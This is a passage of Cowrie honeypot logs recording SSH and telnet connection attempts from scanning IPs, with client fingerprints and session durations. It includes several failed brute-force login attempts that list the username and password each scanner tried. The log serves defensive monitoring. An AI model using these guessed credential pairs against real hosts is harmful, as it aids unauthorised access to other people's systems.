{"eventid":"cowrie.session.closed","duration":30.87401032447815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:46.035537Z","src_ip":"107.155.66.219","session":"b49d449ecf94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882826328277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:46.039484Z","src_ip":"107.155.66.219","session":"30f5b7a9b162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798336029052734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.039234Z","src_ip":"107.155.66.219","session":"1e523e388bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":42120,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e0dc4dfa602","protocol":"ssh","message":"New connection: 156.227.233.77:42120 (159.203.135.109:22) [session: 1e0dc4dfa602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.099136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.103743Z","src_ip":"156.227.233.77","session":"1e0dc4dfa602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.263421Z","src_ip":"156.227.233.77","session":"1e0dc4dfa602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.831793Z","src_ip":"213.209.159.158","session":"fa392163ff26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1214!","message":"login attempt [root/server1214!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.935280Z","src_ip":"156.227.233.77","session":"1e0dc4dfa602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54904,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec8fe370544b","protocol":"ssh","message":"New connection: 213.209.159.158:54904 (159.203.135.109:22) [session: ec8fe370544b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:47.940783Z"}
{"eventid":"cowrie.session.closed","duration":39.20103120803833,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:48.153601Z","src_ip":"184.107.167.149","session":"f52d3a9795ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49574,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e5c893f089","protocol":"telnet","message":"New connection: 107.155.66.219:49574 (159.203.135.109:23) [session: 89e5c893f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:48.855403Z"}
{"eventid":"cowrie.session.closed","duration":30.80878520011902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:49.034024Z","src_ip":"107.155.66.219","session":"4eb9aab69955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387476205825806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:49.040135Z","src_ip":"107.155.66.219","session":"9ec8dbdc6c82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:49.099097Z","src_ip":"156.227.233.77","session":"1e0dc4dfa602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49578,"dst_ip":"159.203.135.109","dst_port":23,"session":"70b76fecc74c","protocol":"telnet","message":"New connection: 107.155.66.219:49578 (159.203.135.109:23) [session: 70b76fecc74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:49.107761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:50.074392Z","src_ip":"213.209.159.158","session":"ec8fe370544b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:50.347059Z","src_ip":"213.209.159.158","session":"ec8fe370544b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"31ff93043998","protocol":"telnet","message":"New connection: 107.155.66.219:49582 (159.203.135.109:23) [session: 31ff93043998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:51.228009Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49594,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d22e5d8fc3","protocol":"telnet","message":"New connection: 107.155.66.219:49594 (159.203.135.109:23) [session: 99d22e5d8fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:51.255580Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a67378e871ba","protocol":"telnet","message":"New connection: 107.155.66.219:49608 (159.203.135.109:23) [session: a67378e871ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:53.422385Z"}
{"eventid":"cowrie.session.closed","duration":30.92617893218994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:54.631313Z","src_ip":"68.178.160.252","session":"d45d6db884ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506774187088013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:56.038086Z","src_ip":"107.155.66.219","session":"9c6b8e603470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43022,"dst_ip":"159.203.135.109","dst_port":23,"session":"104586f486de","protocol":"telnet","message":"New connection: 107.155.66.219:43022 (159.203.135.109:23) [session: 104586f486de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:56.127868Z"}
{"eventid":"cowrie.session.closed","duration":30.144410371780396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:57.067843Z","src_ip":"107.155.66.219","session":"fdfcaef9c173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80400013923645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:57.111053Z","src_ip":"107.155.66.219","session":"8be4a1f000b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"voek","message":"login attempt [root/voek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:57.411399Z","src_ip":"213.209.159.158","session":"ec8fe370544b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:00.709419Z","src_ip":"213.209.159.158","session":"ec8fe370544b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13266,"dst_ip":"159.203.135.109","dst_port":22,"session":"918492874456","protocol":"ssh","message":"New connection: 213.209.159.158:13266 (159.203.135.109:22) [session: 918492874456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:00.792759Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce73a7760652","protocol":"telnet","message":"New connection: 107.155.66.219:43032 (159.203.135.109:23) [session: ce73a7760652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:01.121856Z"}
{"eventid":"cowrie.session.closed","duration":31.032148838043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:02.192486Z","src_ip":"68.178.160.252","session":"eaaa44512518","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:02.788919Z","src_ip":"213.209.159.158","session":"918492874456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:02.793151Z","src_ip":"213.209.159.158","session":"918492874456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.866970777511597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:04.033598Z","src_ip":"107.155.66.219","session":"64e7345ea567","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01365327835083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:04.267484Z","src_ip":"107.155.66.219","session":"c53030bb8b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5af1feab327","protocol":"telnet","message":"New connection: 107.155.66.219:46338 (159.203.135.109:23) [session: d5af1feab327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:06.323251Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46352,"dst_ip":"159.203.135.109","dst_port":23,"session":"64459d717b42","protocol":"telnet","message":"New connection: 107.155.66.219:46352 (159.203.135.109:23) [session: 64459d717b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:07.328987Z"}
{"eventid":"cowrie.session.closed","duration":30.917279958724976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:08.021641Z","src_ip":"107.155.66.219","session":"5d65f11d7308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.234","src_port":61206,"dst_ip":"10.17.0.5","dst_port":23,"session":"824fe8f600ff","protocol":"telnet","message":"New connection: 198.235.24.234:61206 (10.17.0.5:23) [session: 824fe8f600ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:08.716615Z"}
{"eventid":"cowrie.session.closed","duration":30.952195405960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:09.021445Z","src_ip":"107.155.66.219","session":"1748e0174127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034478902816772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:10.022755Z","src_ip":"107.155.66.219","session":"3329d1a12332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.447710037231445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:10.032363Z","src_ip":"107.155.66.219","session":"92886c18e427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7649028301239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:10.073612Z","src_ip":"107.155.66.219","session":"990c67e419ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83417248725891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:11.142335Z","src_ip":"107.155.66.219","session":"2b04a23243a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46360,"dst_ip":"159.203.135.109","dst_port":23,"session":"75734c2fa0b0","protocol":"telnet","message":"New connection: 107.155.66.219:46360 (159.203.135.109:23) [session: 75734c2fa0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:11.155606Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46364,"dst_ip":"159.203.135.109","dst_port":23,"session":"3826cd8c8fc2","protocol":"telnet","message":"New connection: 107.155.66.219:46364 (159.203.135.109:23) [session: 3826cd8c8fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:11.802919Z"}
{"eventid":"cowrie.session.closed","duration":30.751408576965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:12.040477Z","src_ip":"107.155.66.219","session":"733060d305df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps.com","message":"login attempt [root/vps.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:12.188335Z","src_ip":"213.209.159.158","session":"918492874456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864639043807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:13.026553Z","src_ip":"107.155.66.219","session":"b52967196f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973169803619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:13.108225Z","src_ip":"107.155.66.219","session":"541eb694e9ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80638861656189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:14.040844Z","src_ip":"107.155.66.219","session":"7d51d2b80c17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:15.388803Z","src_ip":"213.209.159.158","session":"918492874456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61132,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2bba283c2b8","protocol":"ssh","message":"New connection: 213.209.159.158:61132 (159.203.135.109:22) [session: f2bba283c2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:15.482074Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5555b0375f12","protocol":"ssh","message":"New connection: 159.203.92.129:51754 (159.203.135.109:22) [session: 5555b0375f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:16.414135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:16.419447Z","src_ip":"159.203.92.129","session":"5555b0375f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:16.431504Z","src_ip":"159.203.92.129","session":"5555b0375f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"p@ssw0rd","message":"login attempt [ansible/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:16.445066Z","src_ip":"159.203.92.129","session":"5555b0375f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:17.451024Z","src_ip":"159.203.92.129","session":"5555b0375f12","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:17.941794Z","src_ip":"213.209.159.158","session":"f2bba283c2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 